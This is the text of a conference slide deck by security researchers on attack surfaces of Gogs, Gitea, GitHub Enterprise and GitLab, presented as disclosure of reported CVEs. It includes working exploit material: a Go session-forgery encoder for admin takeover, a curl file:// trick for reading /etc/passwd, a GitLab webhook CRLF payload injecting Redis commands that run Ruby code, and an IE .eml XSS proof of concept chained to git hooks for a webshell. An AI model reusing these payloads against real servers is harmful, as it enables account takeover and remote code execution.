





# WHO OWNED YOUR CODE

Attack surfaces of git web servers used by thousands of developers





- Junyu Zhou a.k.a @md5\_salt
- Oops / A\*0\*E CTF Team
- GeekPwn 2015 / 2017 Winner
- https://github.com/5alt

#### Who are we





#### Who are we

- Wenxu Wu a.k.a @ma7h1as
- Web Application Security
  - Google security hall of fame
  - Mozilla security hall of fame
- Browser security
  - 20+ vulnerabilities of Chrome / Firefox / Safari / Edge
  - 10+ browser CVE ids and credits





#### • Jiantao Li a.k.a @chromium1337

- ROIS / r3kapig CTF Team
- https://blog.cal1.cn/

#### Who are we





#### Who are we

- Tencent Security Xuanwu Lab
- Web security Researcher



腾讯安全玄武实验室 TENCENT SECURITY XUANWU LAB





- git web server basics
- a gogs/gitea RCE story
- vulnerabilities and exploit tricks
- summary

## Agenda





git web server basics





## What does a git server have?

- SSH (limited shell)
  - git-receive-pack
  - git-upload-pack
  - git-upload-archive
- Web
  - user management
  - content management
  - git related components













#### **New Repository** md5\_salt Repository Name<sup>3</sup> A good repository name is usually composed of short, memorable and unique ▼ This repository is Private Description Description of repository. Maximum 512 characters length. Available characters: 512 .gitignore Select .gitignore templates Select a license file License Readme 3 Default Initialize this repository with selected files and template **Create Repository** Cancel


## create a repo

	New Migration	
Clone Address*	This can be a HTTP/HTTPS/GIT URL.	
,	Need Authorization	
Owner*	md5_salt	
Repository Name*		
Visibility	✓ This repository is Private	
Migration Type	This repository will be a mirror	
Description		
	li	
	Migrate Repository Cancel	






## edit a repo online







#### edit a file online







## webhook

Add Webhook
Gogs will send a POST request to the URL you specify, along with details regarding the event that occurred. You can also specify what kind of data format you'd like to get upon triggering the hook (JSON, x-www-form-urlencoded, XML, etc). More information can be found in our Webhooks Guide.
Payload URL*
Content Type
application/json •
Secret
Secret will be sent as SHA256 HMAC hex digest of payload via X-Gogs-Signature header.  When should this webhook be triggered?
Just the push event
☐ I need everything
Let me choose what I need
✓ Active
Details regarding the event which triggered the hook will be delivered as well.
Add Webhook





## git hook

# Git Hooks Git Hooks are powered by Git itself, you can edit files of supported hooks in the list below to perform custom operations. • pre-receive • update • post-receive





## exec scripts using git hooks

- git hooks
  - fire off custom scripts when certain important actions occur
- admin can edit server-side git hooks
- admin == execute any command (in most cases)






how does git server store files?





## git objects

- object name = sha1(object content)
- snapshot for each commit
  - create new object when add/change a file









- object type
  - blob (file)
  - tree (directory)
  - commit
  - tag

## git objects










23 EDITION







## git objects

- filename stored in tree
- what if .../ in filename by modify tree object?
- git objects like blockchain
- modify one file => update the whole chain

```
$ git clone http://127.0.0.1:3000/salt/test2
正克隆到 'test2'...
remote: 枚举对象: 3, 完成.
remote: 对象计数中: 100% (3/3), 完成.
remote: 总共 3 (差异 0), 复用 0 (差异 0)
展开对象中: 100% (3/3), 完成.
error: Invalid path '.git/../../sss'
```





Let's begin with a gogs / gitea RCE story





## A session forgery bug

- Macaron (<a href="https://go-macaron.com/">https://go-macaron.com/</a>)
- A web framework in Go
- gogs / gitea
- session management middleware
- https://github.com/go-macaron/session







#### path traversal by sid

- "/ in sid
- use any file on the disk as session file

```
http://127.0.0.1:3000/

• 127.0.0.1 | _csrf

• 127.0.0.1 | i_like_gogits

值
.../attachments/4/f/4f4d68a6-0eb7-4fff-a81a-d57727c068ba

域名
127.0.0.1
路径
/
过期时间
Tue Nov 12 2019 16:24:38 GMT+0800 (中国标准时间)
```

```
func (p *FileProvider) filepath(sid string) string {
return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
// Read returns raw session store by session ID.
func (p *FileProvider) Read(sid string) ( RawStore, err error)
filename := p.filepath(sid)
if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
   return nil, err
p.lock.RLock()
defer p.lock.RUnlock()
var f *os.File
if com.IsFile(filename) {
   f, err = os.OpenFile(filename, os.O RDONLY, 0600)
} else {
   f, err = os.Create(filename)
```





#### session file format

- encoding/gob
- No encryption!

```
// Release releases resource and save data to provider.
func (s *FileStore) Release() error {
    s.p.lock.Lock()
    defer s.p.lock.Unlock()
    data, err := EncodeGob(s.data)
    if err != nil {
        return err
    return ioutil.WriteFile(s.p.filepath(s.sid), data,
0600)
import "encoding/gob"
func EncodeGob(obj map[interface{}]interface{}) ([]byte,
error) {
    for , v := range obj {
        gob.Register(v)
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
```





#### session forgery

find an arbitrary content upload point make sid point to that file find the real path on the disk

We can become anyone


```
package main
import (
    "fmt."
    "encoding/gob"
    "bytes"
    "encoding/hex"
func EncodeGob(obj map[interface{}]interface{}) ([]byte,
error) ·
    for , v := range obj {
        gob.Register(v)
    buf := bytes.NewBuffer(nil)
    err := qob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{} {"uid": uid }
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    // data is the target content
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
```






#### Attacking gogs

- Upload arbitrary content by publish a new release
- get uuid in the response
- file is stored in the working directory
- data/attachments/uuid[0]/uuid[1]/uuic







Organizations

Repositories

Authentications

Configuration

System Notices

Monitoring

EDITION

Dashboard - Gogs × +

← → C a try.gogs.io/admin


← →	C	try.gogs.io/adı	min			9			9	<u></u>	<del>=</del>	:
G	Dashboar	d Issues	Pull Requests	Explore					+	•	•	•
Admin Panel			Statistics									
Dashboard			Gogs database has 15717 users, 2821 organizations, 1037 public keys, 11622 repositories, 13039 watches, 628 stars, 40764 actions, 1805 accesses, 3366 issues, 2188 comments, 0 social accounts, 342 follows,									
Users		· · · · · · · · · · · · · · · · · · ·	298 mirrors, 168 releases, 1 login sources, 181 webhooks, 483 milestones, 3256 labels, 910 hook tasks,									

3164 teams, 0 update tasks, 374 attachments.

# Server Uptime 2 weeks, 3 days, 14 hours, 38 minutes, 36 seconds Current Goroutines 47











#### What about gitea?

- file type is checked for all attachments
- http.DetectContentType
   check file content
- setting.AttachmentAllowedTypes
   image/jpeg
   image/png
   application/zip
   application/gzip

```
// UploadAttachment response for uploading
issue's attachment
func UploadAttachment(ctx *context.Context)
    fileType := http.DetectContentType(buf)
    allowedTypes :=
strings.Split(setting.AttachmentAllowedType
s, ",")
    allowed := false
    for , t := range allowedTypes {
        t := strings.Trim(t, " ")
        if t == "*/*" || t == fileType {
            allowed = true
           break
```





- UploadFile in repo
- Edit wiki
- Preview Changes


## 3 ways to upload in gitea





#### UploadFile in repo

gitea supports editing repo online upload new file will return a uuid








## UploadFile in repo

- data/tmp/uploads/uuid[0]/uuid[1]/uuid
- removed after server restart








- UploadFile in repo
- Edit wiki
- Preview Changes

## 3 ways to upload in gitea





#### Edit wiki




```
// updateWikiPage adds a new page to the
repository wiki.
func (repo *Repository) updateWikiPage(doer
*User, oldWikiName, newWikiName, content,
message string, isNew bool) (err error) {
    localPath := repo.LocalWikiPath()
    newWikiPath := path.Join(localPath,
WikiNameToFilename(newWikiName))
    if err = ioutil.WriteFile(newWikiPath,
[]byte(content), 0666); err != nil {
        return fmt.Errorf("WriteFile: %v", err)
```





#### Edit wiki

- data/tmp/local-wiki/repoid/wikiname.md
- repoid can be get by
  - bruteforce
  - create a new repo, repoid is the total repo count (explore page)
  - fork this repo using another user (repoid in the url)








- UploadFile in repo
- Edit wiki
- Preview Changes

# 3 ways to upload in gitea





#### **Preview Changes**




```
func UpdateLocalCopyBranch (repoPath, localPath, branch
string) error {
    if !com.IsExist(localPath) {
        if err := git.Clone(repoPath, localPath,
git.CloneRepoOptions{
            Timeout:
time.Duration(setting.Git.Timeout.Clone) * time.Second,
            Branch: branch,
        });
// GetDiffPreview produces and returns diff result of a
file which is not yet committed.
func (repo *Repository) GetDiffPreview (branch, treePath,
content string) (diff *Diff, err error) {
    } else if err = repo.UpdateLocalCopyBranch(branch);
err != nil {
       return nil, fmt.Errorf("UpdateLocalCopyBranch
[branch: %s]: %v", branch, err)
```





# Preview Changes

data/tmp/local-repo/repoid/fake\_session







## gogs/gitea RCE

• CVE-2018-18925 / CVE-2018-18926

we found more vulnerabilities!






vulnerabilities and exploit tricks





Github: an interesting trick.







```
build_file_url() {
 input_url="$1"
 if [[ $input_url = ~ ^(https?|file):// ]]; then
   echo "$input_url"
 elif [ -f "$input_url" ]; then
   echo "file://$input_url"
 else
   return 1
 fi
```





How to break it and do something...

a cURL feature:

example URL: file://{file1,file2,file3}

curl would combined 3 files as 1 result.





Do something:
Arbitrary File Read
file://{file1, /etc/passwd , file3.tar}

the whole docker .tar file

file1 front file2(data.txt)

(/etc/passwd)

file3

behind





Everything is nice but... failed because of the O flag, which would separate the file

still be rewarded with \$200, thanks for a nice dinner:)

Asset GitHub Enterprise (Hardware/IoT)

Weakness Information Disclosure

Bounty \$200





Then, what about gitlab?






### Components

NGINX
Redis
Sidekiq
Gitaly
Unicorn
GitLab Shell
PostgreSQL/MySQL

• • •

#### GitLab Application Architecture



#### source:





- SSRF in Webhook
- CR/LF Injection
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed

POST / HTTP/1.1

Host: 192.168.10.24

X-Gitlab-Event: Push Hook

X-Gitlab-Token: new

line

injected

here

Content-Type: application/json

Content-Length: 1337

Connection: close

. . . . . .





- SSRF in Webhook
- CR/LF Injection
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed

POST / HTTP/1.1

Host: 192.168.10.24

X-Gitlab-Event: Push Hook

X-Gitlab-Token: A

multi

sadd resque:gitlab:queues system\_hook\_push

lpush resque:gitlab:queue:system\_hook\_push

"{\"class\":\"GitlabShellWorker\",\"args\":[\"class\_eval\",\"open(\']

whoami\').read\"],\"retry\":3,\"queue\":\"system\_hook\_push\",\"jid\

":\"ad52abc5641173e217eb2e52\",\"created\_at\":1513714403.8

122594,\"enqueued\_at\":1513714403.8129568}"

exec

Content-Type: application/json

Content-Length:1337

Connection: close

. . . . . .

source: <a href="https://hackerone.com/reports/299473">https://hackerone.com/reports/299473</a>





- SSRF in Webhook
- CR/LF Injection [Fixed]
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed

Remove CR/LFs in Webhook secret token in <a href="lib/gitlab/utils.rb">lib/gitlab/utils.rb</a>

```
def remove_line_breaks(str)
    str.gsub(/\r?\n/, ")
end
```

Ensure no '\n' present when create a new webhook in app/models/hooks/web\_hook.rb

```
validates :url, presence: true, url: true validates :token, format: { without: /\n/}
```





- SSRF in Webhook [Fixed]
- CR/LF Injection [Fixed]
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed

#### lib/gitlab/url\_blocker.rb:

#### Mar 20th CVE-2018-8801

- validate\_localhost: ["127.0.0.1", "::1", "0.0.0.0"]
- validate\_local\_network:
   ipv4\_private(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
   ipv6\_sitelocal(ffc0::/10)

#### Aug 13th

validate\_link\_local:169.254.0.0/16ipv6\_linklocal

#### Sep 24th CVE-2018-17452

validate\_loopback:ipv4\_loopback(127.0.0.1/8)ipv6\_loopback





- SSRF in Webhook [Fixed? No!]
- CR/LF Injection [Fixed]
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed

→ ~ nc -lvvkp 500 -w1
Listening on [0.0.0.0] (family 0, port 500)
Connection from localhost 39984 received!
003agit-upload-pack /whatever/proj.githost=127.0.0.1:500

#### git://127.0.0.1:500/what%0aever%0a/proj


→ ~ nc -lvvkp 500 -w1
Listening on [0.0.0.0] (family 0, port 500)
Connection from localhost 40088 received!
003agit-upload-pack /what
ever
/projhost=127.0.0.1:500





### CVE-2018-????? from SSRF to RCE

- SSRF in Webhook SSRF in git:// ✓
- CR/LF Injection again ✓
- Redis configured to listen on TCP socket instead of UNIX domain socket
- Evil system hook job added to queue
- Arbitrary ruby code executed







another interesting vulnerability Gogs XSS + Githook = RCE





content management:
you can view raw content of any file in repository
but their header set to "text/plain"

IE 10 /11 feature our old friends: mimeType sniffing

.eml file how will IE handle iframe in .eml file





POC (poc.eml)

**TEST** 

Content-Type: text/html


Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27https://try.gogs.io/mathiaswu/33323/raw/master/1221.html=27=3E=3C=2Fiframe=3E





IE sniffing "text/plain" content as "text/html"







Combine with githook when admin click the link to this .eml file.

set pre\_receive\_hook to any code you want to execute by admin's manage panel.

then , git push , and enjoy your webshell.





# Finally let's draw a conclusion about the Attack surfaces





## Attack surfaces

			Github	Gitlab	Gogs	Gitea
SSH	sandbox escape					
web	user management	authentication			<b>√</b>	✓
		privilege escalation			<b>√</b>	✓
		account management			✓	✓
	content management	XSS		✓	<b>√</b>	
		broken access control		✓	<b>√</b>	✓
	git related parts	git hooks	<b>√</b>	<b>√</b>	<b>√</b>	✓
		online edit				
		migrate		<b>√</b>	<b>√</b>	✓
		API	<b>√</b>	<b>√</b>		
		LFS				





## Special thanks

Yang Yu(@tombkeeper) of Tencent Security Xuanwu Lab







## Thank you! Спасибо